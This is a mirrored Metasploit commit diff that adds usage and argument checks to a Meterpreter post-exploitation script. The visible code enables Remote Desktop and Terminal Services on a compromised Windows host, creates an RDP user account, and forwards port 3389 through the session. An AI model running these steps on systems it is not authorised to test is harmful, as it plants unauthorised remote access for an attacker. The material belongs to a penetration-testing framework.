mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
will show help if wrong option given
git-svn-id: file:///home/svn/framework3/trunk@9995 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
2789e9007e
commit
b403c787d6
@ -161,19 +161,27 @@ frwrd = nil
|
|||||||
end
|
end
|
||||||
|
|
||||||
}
|
}
|
||||||
message
|
if args.length > 0
|
||||||
if enbl
|
if enbl or (usr and pass)
|
||||||
|
message
|
||||||
|
if enbl
|
||||||
enablerd()
|
enablerd()
|
||||||
enabletssrv()
|
enabletssrv()
|
||||||
end
|
end
|
||||||
if usr != nil && pass != nil
|
if usr and pass
|
||||||
langdetect(lang)
|
langdetect(lang)
|
||||||
addrdpusr(session, usr, pass, lang)
|
addrdpusr(session, usr, pass, lang)
|
||||||
end
|
end
|
||||||
if frwrd == true
|
if frwrd == true
|
||||||
print_status("Starting the port forwarding at local port #{lport}")
|
print_status("Starting the port forwarding at local port #{lport}")
|
||||||
client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1")
|
client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1")
|
||||||
|
end
|
||||||
|
print_status("For cleanup use command: run multi_console_command -rc #{@dest}")
|
||||||
|
else
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
|
||||||
|
else
|
||||||
|
usage
|
||||||
end
|
end
|
||||||
print_status("For cleanup use command: run multi_console_command -rc #{@dest}")
|
|
||||||
|
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user